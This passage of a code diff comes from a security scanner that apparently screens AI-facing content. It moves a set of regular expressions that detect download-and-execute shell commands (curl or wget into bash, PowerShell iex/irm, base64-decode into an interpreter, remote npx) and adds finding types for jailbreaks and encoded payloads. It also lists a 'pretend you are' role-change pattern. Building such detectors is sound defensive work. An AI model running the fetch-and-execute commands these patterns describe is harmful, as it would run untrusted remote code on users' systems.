/(?:^|[\s;&])(?:source|\.|ba?sh|zsh|exec)\s+<\(\s*(?:curl|wget)\b[^\n)]{0,150}?(?:https?:\/\/|\d{1,3}(?:\.\d{1,3}){3}|[\w-]{2,63}\.[a-z]{2,24})/i,
|
|
157
|
-
// command substitution into eval or `sh -c`: eval "$(curl <target>...)", bash -c "`wget <target>...`"
|
|
158
|
-
/(?:\beval\b|(?:ba|z)?sh\s+-c)\s+["']?[$`]\(?\s*(?:curl|wget)\b[^\n)]{0,150}?(?:https?:\/\/|\d{1,3}(?:\.\d{1,3}){3}|[\w-]{2,63}\.[a-z]{2,24})/i,
|
|
159
|
-
// PowerShell download-and-execute: iex(irm ...), Invoke-Expression(... DownloadString/Invoke-WebRequest)
|
|
160
|
-
/\b(?:iex|invoke-expression)\b[^\n]{0,100}?(?:\birm\b|\biwr\b|invoke-webrequest|invoke-restmethod|downloadstring|net\.webclient)/i,
|
|
161
|
-
// PowerShell encoded command (base64 payload handed to the interpreter)
|
|
162
|
-
/\bpowershell\b[^\n]{0,60}?\s-e(?:nc|ncodedcommand)?\b\s*[A-Za-z0-9+/=]{16,}/i,
|
|
163
|
-
// decode-then-exec: ... base64 -d ... | <interpreter> (SMI-5359 retro NIT: da sink, matches the curl pattern)
|
|
164
|
-
/\bbase64\s+(?:-d|--decode|-D)\b[^\n|]{0,60}?\|\s*(?:(?:ba|z|da)?sh|python[23]?|node|ruby|perl|php|fish|bun|deno)\b/i,
|
|
165
|
-
// SMI-5424 FN-1: chained / redirect download-then-execute (curl URL -o /tmp/x && bash /tmp/x)
|
|
166
|
-
/(?:curl|wget)\b[^\n]{0,150}?(?:https?:\/\/|\d{1,3}(?:\.\d{1,3}){3}|[\w-]{2,63}\.[a-z]{2,24})[^\n]{0,150}?(?:&&|;)\s*(?:sudo\s+(?:-[A-Za-z]+\s+)?)?(?:(?:ba|z|da)?sh|python[23]?|node|ruby|perl|php|fish|bun|deno)\b/i,
|
|
167
|
-
// SMI-5424 FN-2: npx executing a REMOTE source (URL or github:), never a local package (npx tsc is clean)
|
|
168
|
-
/\bnpx\s+(?:--yes\s+|-y\s+)?(?:https?:\/\/\S+|github:\S+)/i,
|
|
169
|
-
// SMI-5424 FN-4: node/python/deno/bun inline-eval (-e/-c) with a dangerous payload
|
|
170
|
-
/\b(?:node|python[23]?|deno|bun)\s+(?:-e|-c|--eval|--exec)\s+['"][^'"]{0,200}?(?:require\(|child_process|fetch\(|\bexec\b|eval\(|base64|urllib|os\.system|subprocess)/i,
|
|
171
|
-
];
|
|
203
|
+
// SMI-6033 Wave 4 (Gap 1): CODE_EXECUTION_PATTERNS moved to patterns.exec.ts
|
|
204
|
+
// alongside the new IMPERATIVE_FETCH_EXEC_PROSE sibling array (this file was
|
|
205
|
+
// already at the repo's 500-line gate with zero headroom). Re-exported here
|
|
206
|
+
// unchanged — same load-bearing re-export convention as the two
|
|
207
|
+
// patterns.jailbreak* re-exports above; do not remove.
|
|
208
|
+
export { CODE_EXECUTION_PATTERNS, IMPERATIVE_FETCH_EXEC_PROSE } from './patterns.exec.js';
|
|
172
209
|
// SMI-685: Social engineering attempt patterns
|
|
173
210
|
export const SOCIAL_ENGINEERING_PATTERNS = [
|
|
174
211
|
/pretend\s+(to\s+be|you\s+are|that\s+you)/i,
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"patterns.js","sourceRoot":"","sources":["../../../../src/security/scanner/patterns.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,0BAA0B;AAC1B,MAAM,CAAC,MAAM,uBAAuB,GAAG;IACrC,YAAY;IACZ,uBAAuB;IACvB,2BAA2B;IAC3B,WAAW;IACX,WAAW;IACX,oBAAoB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AAE,MAAM,yBAAyB,CAAA;AACjF,6EAA6E;AAC7E,8EAA8E;AAC9E,oDAAoD;AACpD,OAAO,EAAE,wBAAwB,EAAE,MAAM,kCAAkC,CAAA;AAE3E
|
|
1
|
+
{"version":3,"file":"patterns.js","sourceRoot":"","sources":["../../../../src/security/scanner/patterns.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,0BAA0B;AAC1B,MAAM,CAAC,MAAM,uBAAuB,GAAG;IACrC,YAAY;IACZ,uBAAuB;IACvB,2BAA2B;IAC3B,WAAW;IACX,WAAW;IACX,oBAAoB;IACpB,eAAe;IACf,WAAW;IACX,iBAAiB;IACjB,uBAAuB;IACvB,YAAY;IACZ,oBAAoB;CACrB,CAAA;AAED,0EAA0E;AAC1E,0EAA0E;AAC1E,6EAA6E;AAC7E,sDAAsD;AACtD,4EAA4E;AAC5E,yEAAyE;AACzE,6EAA6E;AAC7E,4EAA4E;AAC5E,6DAA6D;AAC7D,MAAM,CAAC,MAAM,gBAAgB,GAAG;IAC9B,SAAS;IACT,cAAc;IACd,UAAU;IACV,cAAc;IACd,OAAO;IACP,QAAQ;IACR,YAAY;IACZ,YAAY;IACZ,cAAc;IACd,UAAU;IACV,cAAc;IACd,WAAW;IACX,UAAU;IACV,cAAc;CACf,CAAA;AAED,yEAAyE;AACzE,0EAA0E;AAC1E,sEAAsE;AACtE,0EAA0E;AAC1E,MAAM,CAAC,MAAM,wBAAwB,GAAG,CAAC,aAAa,EAAE,SAAS,EAAE,cAAc,EAAE,SAAS,CAAC,CAAA;AAE7F,sEAAsE;AACtE,4EAA4E;AAC5E,gFAAgF;AAChF,MAAM,CAAC,MAAM,qBAAqB,GAAG,CAAC,QAAQ,EAAE,aAAa,EAAE,MAAM,EAAE,OAAO,CAAC,CAAA;AAE/E,+BAA+B;AAC/B,qFAAqF;AACrF,0EAA0E;AAC1E,kFAAkF;AAClF,4EAA4E;AAC5E,EAAE;AACF,oFAAoF;AACpF,uFAAuF;AACvF,gFAAgF;A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CAAA;AAED;;;;GAIG;AACH,MAAM,CAAC,MAAM,YAAY,GAAG;IAC1B,yCAAyC;IACzC,+DAA+D;IAC/D,qEAAqE;IACrE,yEAAyE;IAEzE,gCAAgC;IAChC,yCAAyC,EAAE,SAAS;IACpD,0CAA0C,EAAE,aAAa;IACzD,iCAAiC,EAAE,kBAAkB;IACrD,kBAAkB,EAAE,iBAAiB;IAErC,4EAA4E;IAC5E,+EAA+E;IAC/E,gDAAgD;IAEhD,6BAA6B;IAC7B,uBAAuB;IAEvB,eAAe;IACf,4CAA4C;IAE5C,+BAA+B;IAC/B,qDAAqD;CACtD,CAAA;AAED,gFAAgF"}
|
|
@@ -6,7 +6,7 @@
|
|
|
6
6
|
/**
|
|
7
7
|
* Types of security findings that can be detected
|
|
8
8
|
*/
|
|
9
|
-
export type SecurityFindingType = 'url' | 'sensitive_path' | 'jailbreak' | 'suspicious_pattern' | 'social_engineering' | 'prompt_leaking' | 'data_exfiltration' | 'privilege_escalation' | 'ai_defence' | 'ssrf' | 'pii' | 'code_execution' | 'obfuscated_directive' | 'typosquat';
|
|
9
|
+
export type SecurityFindingType = 'url' | 'sensitive_path' | 'jailbreak' | 'suspicious_pattern' | 'social_engineering' | 'prompt_leaking' | 'data_exfiltration' | 'privilege_escalation' | 'ai_defence' | 'ssrf' | 'pii' | 'code_execution' | 'obfuscated_directive' | 'typosquat' | 'gatekeeper_bypass' | 'archive_evasion' | 'paste_host_fetch' | 'encoded_payload' | 'decoy_misdirection';
|
|
10
10
|
/**
|
|
11
11
|
* Severity levels for security findings
|
|
12
12
|
*/
|
|
@@ -70,6 +70,15 @@ export interface SecurityFinding {
|
|
|
70
70
|
evidenceType?: EvidenceType;
|
|
71
71
|
/** SMI-5876: a mention-tier finding lifted by a co-occurring non-documentation high/critical signal. */
|
|
72
72
|
corroborated?: boolean;
|
|
73
|
+
/**
|
|
74
|
+
* SMI-6033 Wave 2 (Gap 2): the OUTER document line number of the base64
|
|
75
|
+
* blob whose decoded content produced this finding — set ONLY on findings
|
|
76
|
+
* folded in by `scanEncodedPayload`'s recursive rescan. Same provenance-
|
|
77
|
+
* marker role `filePath` plays for a sibling-file finding, but for a
|
|
78
|
+
* decoded-blob origin within the SAME document rather than a different
|
|
79
|
+
* file. Absent for every other finding.
|
|
80
|
+
*/
|
|
81
|
+
decodedFrom?: number;
|
|
73
82
|
}
|
|
74
83
|
/**
|
|
75
84
|
* Risk score breakdown by category
|
|
@@ -89,6 +98,11 @@ export interface RiskScoreBreakdown {
|
|
|
89
98
|
codeExecution: number;
|
|
90
99
|
obfuscatedDirective: number;
|
|
91
100
|
typosquat: number;
|
|
101
|
+
gatekeeperBypass: number;
|
|
102
|
+
archiveEvasion: number;
|
|
103
|
+
pasteHostFetch: number;
|
|
104
|
+
encodedPayload: number;
|
|
105
|
+
decoyMisdirection: number;
|
|
92
106
|
}
|
|
93
107
|
/**
|
|
94
108
|
* Comprehensive scan report with risk scoring
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"types.d.ts","sourceRoot":"","sources":["../../../../src/security/scanner/types.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH;;GAEG;AACH,MAAM,MAAM,mBAAmB,GAC3B,KAAK,GACL,gBAAgB,GAChB,WAAW,GACX,oBAAoB,GACpB,oBAAoB,GACpB,gBAAgB,GAChB,mBAAmB,GACnB,sBAAsB,GACtB,YAAY,GACZ,MAAM,GACN,KAAK,GACL,gBAAgB,GAChB,sBAAsB,GACtB,WAAW,CAAA;
|
|
1
|
+
{"version":3,"file":"types.d.ts","sourceRoot":"","sources":["../../../../src/security/scanner/types.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH;;GAEG;AACH,MAAM,MAAM,mBAAmB,GAC3B,KAAK,GACL,gBAAgB,GAChB,WAAW,GACX,oBAAoB,GACpB,oBAAoB,GACpB,gBAAgB,GAChB,mBAAmB,GACnB,sBAAsB,GACtB,YAAY,GACZ,MAAM,GACN,KAAK,GACL,gBAAgB,GAChB,sBA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